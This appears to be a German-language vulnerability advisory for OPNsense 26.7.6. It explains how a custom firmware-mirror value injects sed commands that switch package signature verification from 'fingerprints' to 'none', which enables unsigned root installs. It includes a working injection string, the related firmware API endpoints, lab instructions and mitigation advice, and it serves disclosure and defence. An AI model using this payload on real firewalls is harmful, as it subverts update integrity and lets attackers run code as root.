
OPNsense 26.7.6 – Hoch – Remote – Verbleibende Berechtigungen – benutzerdefinierter Firmware-Mirror überspringt pkg-Fingerabdrücke per sed
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · opnsense-firmware-mirror-sed
Klasse: Signatur-Überspringen Reichweite: Remote
OPNsense-Kern 26.7.6 (a842fe48) - opnsense.org
System: Firmware set sendet einen benutzerdefinierten mirror / flavour. Der Kern FILTER_SANITIZE_URL behält \|#;". opnsense-update -m / -n interpoliert diese Zeichenkette in sed auf OPNsense.conf und kann signature_type von "fingerprints" auf "none" umschalten. Dann pkg install als root von der Angreifer-URL. Die Einstellungsseite bietet einen benutzerdefinierten Mirror noch signierter OPNsense-Pakete. Sie hat keine Steuerung zum "Deaktivieren von Signaturen". Die Berechtigung ist page-system-firmware-manualupdate, nicht page-all.
Sed liegt im nicht gepinnten opnsense-update. Der Kern auf diesem Pin ist das unsanitisierte Feld plus der -m-Durchlauf. Das Lab führt diesen s|||-Programmtext mit GNU sed erneut aus.
Dieses GitHub-Paket bleibt privat bis zur koordinierten Offenlegung.
| ID | noch keine CVE |
| Klasse | Signatur-Überspringen |
| Reichweite | Remote (authentifiziertes WebGUI / API) |
| CWE | CWE-74 / CWE-347 |
| CVSS | Hoch: 7.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Produkt | OPNsense core |
| Betroffen | 26.7.6 (a842fe48c21288d11a422cb944678e8eb308becf) Firmware set benutzerdefinierter Mirror |
| Auth | WebGUI-Sitzung oder API-Schlüssel mit page-system-firmware-manualupdate |
| Lizenz | GNU Affero GPL v3.0 |
| Lab | nur 127.0.0.1 |
Ich habe den Tag 26.7.6 gepinnt, Peel a842fe48. Das Lab ist ein PHP-Gadget aus FILTER_SANITIZE_URL plus dem opnsense-update mod_mirrorurl sed, Loopback-HTTP auf 127.0.0.1:18860. PR:H, weil die Firmware-Seite bereits berechtigt ist, signierte Pakete zu installieren. Bewertung 8.8, wenn diese Seite als PR:L behandelt wird.
| Methode | Sink | Berechtigung |
|---|---|---|
FILTER_SANITIZE_URL auf einem benutzerdefinierten Mirror mit | und dann opnsense-update-artigem sed | Umschreiben von OPNsense.conf | Integrität (lab-belegt): signature_type "none". Kontroll-Mirror bleibt "fingerprints". Lab: sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes. |
| Dasselbe Set, Plugins-Feld | setAction verwirft plugins | Negativ (lab-belegt): Plugins werden vor dem Speichern verworfen. |
Dann POST /api/core/firmware/install/<pkg> | pkg install -y als root von der Angreifer-URL | Integrität (abgeleitet): unsigniertes Paket als root. Die Firmware-Seite installiert bereits signierte Pakete; dieser Rest ist das Überspringen der Verifikation. Keine unsignierte Nutzlast im Lab. |
Dann POST /api/core/firmware/update oder /upgrade | opnsense-update -pt / -u als root | Integrität (abgeleitet): Basis-/Kernel-Sets mit übersprungener Verifikation (DO_INSECURE). |
GET /api/core/firmware/info, /running, /upgradestatus | Firmware-API | Recon (abgeleitet): Paketlisten, Update-Log, Mirror-Optionen. Für diese ACL vorgesehen. |
POST /api/core/firmware/reboot, /poweroff, /remove/<pkg> | configd-Firmware-Aktionen | Verfügbarkeit (abgeleitet): Reboot/Halt/Remove. Für diese ACL vorgesehen, nicht für den Rest. |
Lab-belegt vs. abgeleitet: Sanitize behält | und signature_type none sind Lab-ERFOLG. Live-pkg install eines unsignierten Pakets ist abgeleitet. Gadget, keine vollständige OPNsense-FreeBSD-VM. Keine unsignierte Paket-Nutzlast.
Erfordert: angemeldeter Benutzer oder dessen lokaler API-Schlüssel mit page-system-firmware-manualupdate und ohne page-all. CSRF bei Sitzungs-POST. Nicht unauth. Nicht nur Dashboard.
| Oberfläche | Lab |
|---|---|
| Unauth-Firmware | 401 |
| Nur Dashboard | 403 |
Kontroll-Mirror https://pkg.opnsense.org | signature_type bleibt "fingerprints" |
| Plugin-Namen-Traversal | filter_pkgname |
| Changelog-Abruf | weiterhin opnsense-verify |
user-config-readonly bei save() | throwReadOnly() |
| Standard-HTTP-Mirrors ohne Verifikations-Überspringen | Transport-MITM; Fingerprints weiterhin erforderlich |
| XMLRPC-Firmware | nur Versionsstrings |
Kein unauth. Nicht nur Dashboard. Changelog weiterhin signiert.
cd lab
./run.sh
Loopback 127.0.0.1:18860. Compose-Projekt opnsense-firmware-mirror-sed. Witness OPNSENSE-FIRMWARE-MIRROR-SED-WITNESS. Letzte Zeile:
SUCCESS opnsense-firmware-mirror-sed sanitize-keeps-pipe=yes signature_type=none fingerprints-control=yes OPNSENSE-FIRMWARE-MIRROR-SED-WITNESS
Root-Launcher: python3 opnsense-firmware-mirror-sed-Abraxas-Labs.py.
Im Lab verwendete Angriffs-Mirror-Form (nur Witness, kein unsigniertes pkg):
https://example.invalid/|;/signature_type/s/"fingerprints"/"none"/;#
Lehne einen benutzerdefinierten Mirror ab, der keine URL ist. Entferne sed-Metazeichen (|, ;, #, ") vor opnsense-update -m / -n, oder übergib die URL als Datei, damit sed sie nie als Programmtext sieht. Behalte signature_type: "fingerprints" bei, es sei denn, eine separate, auditierte Steuerung schaltet die Verifikation ab. Lass nicht zu, dass Firmware set Fingerprints auf "none" umschreibt.
a842fe48c21288d11a422cb944678e8eb308becfFirmwareController.php setAction FILTER_SANITIZE_URLscripts/firmware/repos/OPNsense.php opnsense-update -sd -mOPNsense.conf.shadow.in Standard signature_type: "fingerprints"opnsense-update mod_mirrorurl (s\|\| auf der url:-Zeile)